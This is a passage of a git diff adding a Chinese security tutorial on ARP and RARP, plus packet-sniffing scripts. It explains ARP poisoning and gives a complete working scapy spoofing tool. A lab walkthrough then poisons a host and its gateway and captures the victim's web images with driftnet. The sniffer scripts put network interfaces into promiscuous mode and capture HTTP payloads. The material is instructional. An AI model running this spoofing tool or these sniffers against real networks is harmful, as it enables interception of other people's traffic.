ARP\346\254\272\351\252\227/img/15.png" "b/3.5 ARP\346\254\272\351\252\227/img/15.png" new file mode 100644 index 0000000..b368345 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/15.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/16.png" "b/3.5 ARP\346\254\272\351\252\227/img/16.png" new file mode 100644 index 0000000..3a6580c Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/16.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/17.png" "b/3.5 ARP\346\254\272\351\252\227/img/17.png" new file mode 100644 index 0000000..1508666 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/17.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/18.png" "b/3.5 ARP\346\254\272\351\252\227/img/18.png" new file mode 100644 index 0000000..86c29be Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/18.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/19.png" "b/3.5 ARP\346\254\272\351\252\227/img/19.png" new file mode 100644 index 0000000..833b9d8 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/19.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/2.png" "b/3.5 ARP\346\254\272\351\252\227/img/2.png" new file mode 100644 index 0000000..5540aea Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/2.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/3.png" "b/3.5 ARP\346\254\272\351\252\227/img/3.png" new file mode 100644 index 0000000..72d6868 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/3.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/4.png" "b/3.5 ARP\346\254\272\351\252\227/img/4.png" new file mode 100644 index 0000000..ee5587f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/4.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/5.png" "b/3.5 ARP\346\254\272\351\252\227/img/5.png" new file mode 100644 index 0000000..35f0d25 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/5.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/6.png" "b/3.5 ARP\346\254\272\351\252\227/img/6.png" new file mode 100644 index 0000000..2ea6115 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/6.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/7.png" "b/3.5 ARP\346\254\272\351\252\227/img/7.png" new file mode 100644 index 0000000..a0d1e1f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/7.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/8.png" "b/3.5 ARP\346\254\272\351\252\227/img/8.png" new file mode 100644 index 0000000..8181aff Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/8.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/9.png" "b/3.5 ARP\346\254\272\351\252\227/img/9.png" new file mode 100644 index 0000000..a3fe1a3 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/9.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/readme.md" "b/3.5 ARP\346\254\272\351\252\227/readme.md" new file mode 100644 index 0000000..ce21c37 --- /dev/null +++ "b/3.5 ARP\346\254\272\351\252\227/readme.md" @@ -0,0 +1,511 @@ +## 3.5 ARP欺骗 + +是时候再重新拿出七层模型的图了。 + +![](img/1.jpg) + +前面的socket编程工作在网络层和传输层,本节要讲解的ARP欺骗工作在数据链路层(网络接口层)。 + +在TCP/IP协议族中,数据链路层主要有三个目的: + +1. 为IP模块发送和接收数据 + +2. 为ARP模块发送ARP请求和接收ARP应答 + +3. 为RARP模块发送RARP请求和接收RARP应答 + +这里需要强调一点的是,arp和rarp协议划分到数据链路层还是网络层都可以,我们将其划分在数据链路层,希望同学们不要在这个问题上争论。下面我们先来了解下ARP和RARP协议的基本内容和工作原理。 + +### 3.5.1 ARP协议 + +(参考:https://zh.wikipedia.org/wiki/%E5%9C%B0%E5%9D%80%E8%A7%A3%E6%9E%90%E5%8D%8F%E8%AE%AE) + +在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。 + +另外,当发送主机和目的主机不在同一个局域网中时,即便知道对方的MAC地址,两者也不能直接通信,必须经过路由转发才可以。所以此时,发送主机通过ARP协议获得的将不是目的主机的真实MAC地址,而是一台可以通往局域网外的路由器的MAC地址。于是此后发送主机发往目的主机的所有帧,都将发往该路由器,通过它向外发送。这种情况称为委托ARP或ARP代理(ARP Proxy)。 + +#### 数据包结构 + +地址解析协议的消息格式很简单,仅包含单一的地址解析请求或响应。ARP 消息的长度取决于上下两层地址的大小,上层地址由所使用的网络协议类型(通常是 IPv4)决定,下层地址则由上层协议所使用的硬件或虚拟链路层的类型决定。消息的报头中包含了这些类型以及对应的地址长度信息,此外还包含了表示请求(1)和应答(2)的操作码。数据包的有效负载为收发双方的硬件地址、协议地址,总计四个地址。 + +为了把IP地址映射到48位以太网地址用于传输,需要一个体现地址转换协议的包格式。 + +完整的Arp协议如下图所示: + +![](img/3.png) + +各字段解释如下: + +``` +目标以太网地址:目标MAC地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。 +源以太网地址:发送方MAC地址。 +帧类型:以太类型,ARP为0x0806。 +以太网报文数据 +硬件类型:如以太网(0x0001)、分组无线网。 +协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。 +硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)。 +协议地址长度:每种协议地址的字节长度,一般为4(IPv4)。 +操作码:1为ARP请求,2为ARP应答,3为RARP请求,4为RARP应答。 +源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。 +源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。 +目标硬件地址:n个字节,n由硬件地址长度得到,一般为目标MAC地址。 +目标协议地址:m个字节,m由协议地址长度得到,一般为目标IP地址。 +``` + +#### 工作原理 + +在每台安装有TCP/IP协议的计算机或路由器里都有一个ARP缓存表,表里的IP地址与MAC地址是一对应的,如下表所示: + +![](img/4.png) + +以主机A(192.168.38.10)向主机B(192.168.38.11)发送数据为例。 + +1. 当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到就知道目标MAC地址为(00-BB-00-62-C2-02),直接把目标MAC地址写入帧里面发送就可。 +2. 如果在ARP缓存表中没有找到相对应的IP地址,主机A就会在网络上发送一个广播(ARP request),目标MAC地址是“FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机发出这样的询问:“192.168.38.11的MAC地址是什么?” + +3. 网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应(ARP response):“192.168.38.11的MAC地址是00-BB-00-62-C2-02”,此回应以单播方式。这样,主机A就知道主机B的MAC地址,它就可以向主机B发送信息。同时它还更新自己的ARP高速缓存(ARP cache),下次再向主机B发送信息时,直接从ARP缓存表里查找就可。 + +ARP缓存表采用老化机制,在一段时间内如果表中的某一行没有使用,就会被删除,这样可减少缓存表的长度,加快查询速度。 + +免费ARP(gratuitous ARP),他是指主机发送ARP查询(广播)自己的IP地址,当ARP功能被开启或者是端口初始配置完成,主机向网络发送免费ARP来查询自己的IP地址确认地址唯一可用。 + +作用: + + 确定网络中是否有其他主机使用了IP地址,如果有应答则产生错误消息。 + 免费ARP可以做更新ARP缓存用,网络中的其他主机收到该广播则在缓存中更新条目,收到该广播的主机无论是否存在与IP地址相关的条目都会强制更新,如果存在旧条目则会将MAC更新为广播包中的MAC。 + + +可以使用 + +``` +arp -a +``` +来查看本节ARP缓存表。 + +![](img/5.png) + + +建议同学们使用Wire Shark 抓包(真机或者配合gns3)来学习ARP协议。为了产生ARP报文,需要清空ARP缓存。 + +![](img/6.png) + + +### 3.5.2 RAPP协议 + +逆地址解析协议(Reverse Address Resolution Protocol,RARP),是一种网络协议,RFC903中描述了RARP。RARP使用与ARP相同的报头结构相同,作用与ARP相反。RARP用于将MAC地址转换为IP地址。其因为较限于IP地址的运用以及其他的一些缺点,因此渐为更新的BOOTP或DHCP所取代。 + +#### 数据包结构 + +类似于ARP的报文格式主要差别在于帧类型代码为0x8035(ARP为0x0806),操作码为3请求(ARP为1),4应答(ARP为2)。 + +#### 工作原理 + +1. 发送主机发送一个本地的RARP广播,在此广播包中,声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址; +2. 本地网段上的RARP服务器收到此请求后,检查其RARP列表,查找该MAC地址对应的IP地址; +3. 如果存在,RARP服务器就给源主机发送一个响应数据包并将此IP地址提供给对方主机使用; +4. 如果不存在,RARP服务器对此不做任何的响应; +5. 源主机收到从RARP服务器的响应信息,就利用得到的IP地址进行通讯;如果一直没有收到RARP服务器的响应信息,表示初始化失败。 + +RARP在原理上很简单但是实现比较复杂,由于RARP的请求是在硬件层上的广播这因此这不能通过路由转发,因此在每个网络都要实现以个RARP服务器。另外在同一网络种不同主机可能会同时进行RARP请求,增大了冲突的概率。 + + +### 3.5.3 ARP欺骗原理 + +ARP工作时,首先请求主机会发送出一个含有所希望到达的IP地址的以太网广播数据包,然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样请求主机就能获得要到达的IP地址对应的MAC地址,同时请求主机会将这个地址对放入自己的ARP表缓存起来,以节约不必要的ARP通信。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。 + +局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。 + +ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文,发送者的MAC地址为攻击者主机的MAC地址,发送者的IP地址为被攻击主机的IP地址。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。由于ARP欺骗攻击导致了主机和网关的ARP表的不正确,这种情况我们也称为ARP中毒。 + +根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种: + +1. 主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗 +2. 网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗 + +![](img/7.png) + +其实很多时候,我们都是进行双向欺骗,既欺骗主机又欺骗网关。 +了解了基本原理之后,我们下面动手实现ARP欺骗程序。 + +为了方便测试,笔者将本节以Kali Linux作为实验环境。 + +### 3.5.2 基本网络信息 + + +首先,我们来查看下当前虚拟机Kali Linux的网络配置和ARP缓存。 + +![](img/8.png) + +如上图,Kali Linux 以太网卡为eth0,ip地址为192.168.1.102,MAC地址为00:0c:29:6e:98:a6。下面我们再查看Kali Linux的ARP缓存。 + +![](img/9.png) + +下面再用同样的方法查看Windows 系统的信息。 + +![](img/10.png) + +windows本身地址为192.168.1.18,同样缓存了路由器的地址。 +下面我们将windows所在主机作为靶机,将Kali Linux所在虚拟机作为攻击机,进行编程测试。 + +### 3.5.3 构造ARP欺骗数据包 + +我们先完成第一个目标,告诉目标主机192.168.1.18网关的地址为Kali Linux所在主机的地址:192.168.1.102。 + +ARP欺骗的方式分为定向欺骗和广播欺骗两种。 + +#### 3.5.3.1 定向欺骗 + +现在来构造数据包就很容易了,回到我们最初的目标,我们想告诉192.168.1.23这台主机网关地址为192.168.1.102所在的主机,构造的数据包应该是这样的: + +``` +pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1.18MAC, pdst=1.18IP地址, op=2) +``` +上面的代码我们不论是以太网数据包还是ARP数据包,我们都明确指定了来源和目标,在ARP数据包中,我们将Kali Linux的Mac地址和网关的IP地址进行了绑定,op取值为2,作为一个响应包被 1.18 接到,这样 1.18会更新自己的ARP缓存表,造成中毒,从而 1.18 发往网关的数据包都会被发往 1.102。 + +那么我们如果要欺骗网关,把网关发往1.18的数据包都发送到Kali Linux(1.102)上,根据上面的代码稍作修改即可: + +``` +pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC, pdst=网关IP地址, op=2) +``` +上面构造的两个数据包都是ARP响应包,其实发送请求包也可以进行毒化,请求包毒化的原理是,我们请求时候使用假的源IP和MAC地址,目标主机同样会更新自己的路由表。 + +ARP请求的方式欺骗主机,构造的ARP包如下: +``` +pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1) +``` +ARP请求的方式欺骗网关,构造的ARP包如下: +``` +pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC, pdst=网关IP地址, op=1) +``` +我们看到构造ARP请求和响应的主要区别在op的值。 + +#### 3.5.3.2 广播欺骗 + +目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。 + +广播欺骗,首先以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息即可。 + +下面是ARP广播响应包的构造方式: +``` +pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) +``` +最后综合定下和广播欺骗的方式,我们总结一个公式出来: +``` +pkt = Ether(src=攻击机MAC, dst=被欺骗主机(或网关)MAC) / ARP((hwsrc=毒化记录中的MAC, 毒化 +``` +记录中的IP, hwdst=被欺骗主机MAC, pdst=被欺骗主机IP地址, op=1(或2)) + +概念有点绕,实践出真知,稍后我们通过代码来加深理解。 + +### 3.5.4 编写自己的ARP欺骗工具 + +新建arp.py文件,添加如下代码,先导入我们需要的模块: +```Python +# -*- coding: UTF-8 -*- +import sys +import os +import time +from optparse import OptionParser +from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp +) + +def main(): + try: + if os.geteuid() != 0: + print("[-] 请以root权限运行本程序") + sys.exit(1) + except Exception as msg: + print(msg) + + usage = 'Usage: %prog [-i interface] [-t target] host' + parser = OptionParser(usage) + parser.add_option('-i', dest='interface', help='请指定网卡') + parser.add_option('-t', dest='target', help='请指定要欺骗的目标主机') + parser.add_option('-m', dest='mode', default='req', help='毒化模式: requests (req) or replies (rep) [default: %default]') + parser.add_option('-s', action='store_true', dest='summary', default=False, help='显示数据包发送信息') + (options, args) = parser.parse_args() + + if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) + +if __name__ == '__main__': + main() +``` + +上面的代码是arp欺骗工具的入口,我们使用optparse模块中的OptionParser类来格式化用户输入和用法提醒,该模块的使用参见 https://www.jianshu.com/p/bec089061742。我们这里给用户设置了四个配置项,分别为: + +``` + -i INTERFACE 请指定网卡 + -t TARGET 请指定要欺骗的目标主机 + -m MODE 毒化模式: requests (req) or replies (rep) [default: req] + -s 显示数据包发送信息 +``` + +运行结果如下: + +![](img/14.png) + +下面我们通过代码 + +注意这里面的几个方法,get_if_hwaddr为获取本机网络接口的函数,getmacbyip是通过ip地址获取其Mac地址的方法,ARP是构建ARP数据包的类,Ether用来构建以太网数据包,sendp方法在第二层发送数据包。 + +接下来我们调用get_if_hwaddr方法,根据参数中传入的网卡,获取本机MAC地址,该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。继续完善代码: + +```Python +......(略) +if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) +mac = get_if_hwaddr(options.interface)#获取本机mac地址 +print('本机mac地址是%s' %mac) +``` + + +接下来对 -m 和 -s 参数做逻辑处理: + +```Python +....(略) +mac = get_if_hwaddr(options.interface) +print('本机mac地址是%s' %mac) + #处理参数 + if options.mode == 'req': + pkt = build_req() + elif options.mode == 'rep': + pkt = build_rep() + + if options.summary is True: + pkt.show() + ans = input('\n[*] 是否继续? [Y|n]: ').lower() + if ans == 'y' or len(ans) == 0: + pass + else: + sys.exit(0) + + def build_req():#构造请求数据包 + pass + + def build_rep():#构造响应数据包 + pass +``` +mode参数用户可以传入 req(构造arp请求数据包)或者 rep(构造响应数据包)。下面我们定义了build_req()和build_rep()两个方法分别构造对应的数据包。注意这两个方法是main方法的子方法。如果希望输出数据包信息(-s),在输出之后要进一步确认是否继续执行arp 欺骗。 + +下面我们来实现build_req()方法: + +```Python +def build_req():#构造请求数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标ip的mac地址") + sys.exit(1) + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) + return pkt +``` + +在上面的代码中,我们组合Ether和ARP方法来生成arp数据包。我们先解下Ether的参数: + +![](img/11.png) + +构造一个以太网数据包通常需要指定目标和源MAC地址,如果不指定,默认发出的就是广播包,例如: + +![](img/12.png) + +再来了解下ARP构造函数的参数列表: + +![](img/13.png) + +构造ARP需要我们注意的有5个参数: + + op。取值为1或者2,代表ARP请求或者响应包。 + + hwsrc。发送方Mac地址。 + + psrc。发送方IP地址。 + + hwdst。目标Mac地址。 + + pdst。目标IP地址。 + +如果用户在终端中没有传入目的ip则构建广播包,否则为定向欺骗数据包。下面是build_rep()方法的实现: + +```Python + def build_rep():#构造响应数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标mac地址") + sys.exit(1) + + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) + + return pkt +``` + +build_rep()方法和build_req()方法基本相同,注意Ether的dst参数和ARP的op参数(op=2为arp响应包)。 + +```Python +while True: + + sendp(pkt, inter=2, iface=options.interface) +``` + +数据包构造完毕之后,就可以循环发送直到达到欺骗目的。因为构造的是以太网数据包,所以使用sendp()方法来对外发送。 + +目前为止,我们已经编写了一个完整的ARP欺骗工具,完整代码如下: + +```Python +# -*- coding: UTF-8 -*- +import sys +import os +import time +from optparse import OptionParser +from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp +) + +def main(): + try: + if os.geteuid() != 0: + print("[-] 请以root权限运行本程序") + sys.exit(1) + except Exception as msg: + print(msg) + + usage = 'Usage: %prog [-i interface] [-t target] host' + parser = OptionParser(usage) + parser.add_option('-i', dest='interface', help='请指定网卡') + parser.add_option('-t', dest='target', help='请指定要欺骗的目标主机') + parser.add_option('-m', dest='mode', default='req', help='毒化模式: requests (req) or replies (rep) [default: %default]') + parser.add_option('-s', action='store_true', dest='summary', default=False, help='显示数据包发送信息') + (options, args) = parser.parse_args() + print + if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) + mac = get_if_hwaddr(options.interface) + print('本机mac地址是%s' %mac) + + if options.mode == 'req': + pkt = build_req() + elif options.mode == 'rep': + pkt = build_rep() + + if options.summary is True: + pkt.show() + ans = input('\n[*] 是否继续? [Y|n]: ').lower() + if ans == 'y' or len(ans) == 0: + pass + else: + sys.exit(0) + + def build_req():#构造请求数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标ip的mac地址") + sys.exit(1) + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) + return pkt + + def build_rep():#构造响应数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标mac地址") + sys.exit(1) + + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) + + return pkt + + while True:#发送 + sendp(pkt, inter=2, iface=options.interface) + +if __name__ == '__main__': + main() +``` + +### 3.5.5 简单测试 + +在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,否则会失败的。执行如下命令: + +``` +sysctl net.ipv4.ip_forward=1 +``` + +Windows系统中IP转发功能默认是关闭的。 +开启方法: + +1. 开始运行里面输入regedit 打开注册表编辑器(以管理员身份运行) +2. 在注册表定位下面注册表项 +HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters +3. 选择下面的项目: +IPEnableRouter:REG_DWORD:0x0 +4. 找到项目鼠标右键修改数值为1 +![](img/16.png) + +下面我们打开终端,对192.168.1.18进行欺骗,告诉它网关为192.168.1.102。 + +``` +python arp1.py -i eth0 -t 192.168.1.18 192.168.1.102 +``` + +再打开一个终端,对网关进行欺骗,告诉网关,192.168.1.18对应的主机为192.168.1.102。 +``` +python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18 +``` +一段时间之后,我们发现,192.168.1.18的arp缓存发生了变化: + +![](img/17.png) + +对比之前的arp缓存查询结果,可以判定arp毒化成功。下面我们来看一下能发捕获到1.18的外网请求信息,使用常用的测试工具driftnet。 + +![](img/18.png) + +下面在1.18上随便打开一个带有图片的网页。 +然后在监听机器上打开drifnet,我们可以看到捕获的图片信息。 + +![](img/19.png) + + +### 3.5.6 小结 + +本节我们学习了ARP协议基本内容,通过分析协议得出ARP欺骗的原理,在此基础上实现了arp欺骗工具。本节的作业如下: +1. 基于本文内容,实现自己的arp欺骗工具 +2. 思考在arp欺骗的基础上,能进一步实现哪些高级功能 + +下一节,我们一同学习网络嗅探的基本原理,并实现一个监听器。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + + + + + + diff --git a/3.5.pdf b/3.5.pdf new file mode 100644 index 0000000..da493ec Binary files /dev/null and b/3.5.pdf differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/3.6.pdf" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/3.6.pdf" new file mode 100644 index 0000000..7afc55d Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/3.6.pdf" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_linux.py" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_linux.py" new file mode 100644 index 0000000..2dfe0bf --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_linux.py" @@ -0,0 +1,55 @@ +import os +import socket +import ctypes +import fcntl +### +# 结构体封装 + +class ifreq(ctypes.Structure): + _fields_ = [("ifr_ifrn", ctypes.c_char * 16), + ("ifr_flags", ctypes.c_short)] +### +# 需要用到的枚举值 + +class FLAGS(object): + # linux/if_ether.h + ETH_P_ALL = 0x0003 # all protocols + ETH_P_IP = 0x0800 # IP only + # linux/if.h + IFF_PROMISC = 0x100 + # linux/sockios.h + SIOCGIFFLAGS = 0x8913 # get the active flags + SIOCSIFFLAGS = 0x8914 # set the active flags + + + +class PromiscuousSocketManager(object): + def __init__(self): + import fcntl # posix-only + # htons: converts 16-bit positive integers from host to network byte order + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL)) + ifr = ifreq() + ifr.ifr_ifrn = b'en0' #写死了,可以通过参数传递进来 + fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # get the flags + ifr.ifr_flags |= FLAGS.IFF_PROMISC # add the promiscuous flag + fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # update + self.ifr = ifr + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update + +def sniffer(count, bufferSize=65565): + + with PromiscuousSocketManager() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + +if __name__ == '__main__': + sniffer(count=10) \ No newline at end of file diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_scapy.py" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_scapy.py" new file mode 100644 index 0000000..2081d69 --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_scapy.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +from scapy.all import * + +scapy.config.conf.sniff_promisc=True #设置混杂模式 + +def packetHandler(pkt): + dport = pkt[IP][TCP].dport + if dport==80 and pkt[IP][TCP].payload: + print('捕获http请求:',pkt[IP][TCP].payload) +if __name__ == '__main__': + sniff(filter='tcp and port 80',prn=packetHandler,iface='en0') + \ No newline at end of file diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_windows.py" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_windows.py" new file mode 100644 index 0000000..e7b7f68 --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_windows.py" @@ -0,0 +1,31 @@ +# -*- coding: UTF-8 -*- +import os +import socket +import ctypes + +class PromiscuousSocket (object): + def __init__(self): + HOST = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + s.bind((HOST, 0)) + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + +def sniffer(count, bufferSize=65565): + with PromiscuousSocket() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + + +if __name__ == '__main__': + sniffer(count=10) \ No newline at end of file diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/0.jpg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/0.jpg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/00.jpeg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/00.jpeg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/1.jpg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/1.jpg" new file mode 100644 index 0000000..be4dd20 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/1.jpg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/10.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/10.png" new file mode 100644 index 0000000..d613585 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/10.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/11.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/11.png" new file mode 100644 index 0000000..13dcf14 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/11.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/12.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/12.png" new file mode 100644 index 0000000..4adcce7 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/12.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/13.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/13.png" new file mode 100644 index 0000000..bfc7d1b Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/13.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/14.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/14.png" new file mode 100644 index 0000000..2cdc783 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/14.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/15.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/15.png" new file mode 100644 index 0000000..e61e5f7 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/15.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/16.jpg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/16.jpg" new file mode 100644 index 0000000..aec2fe3 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/16.jpg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/17.png" 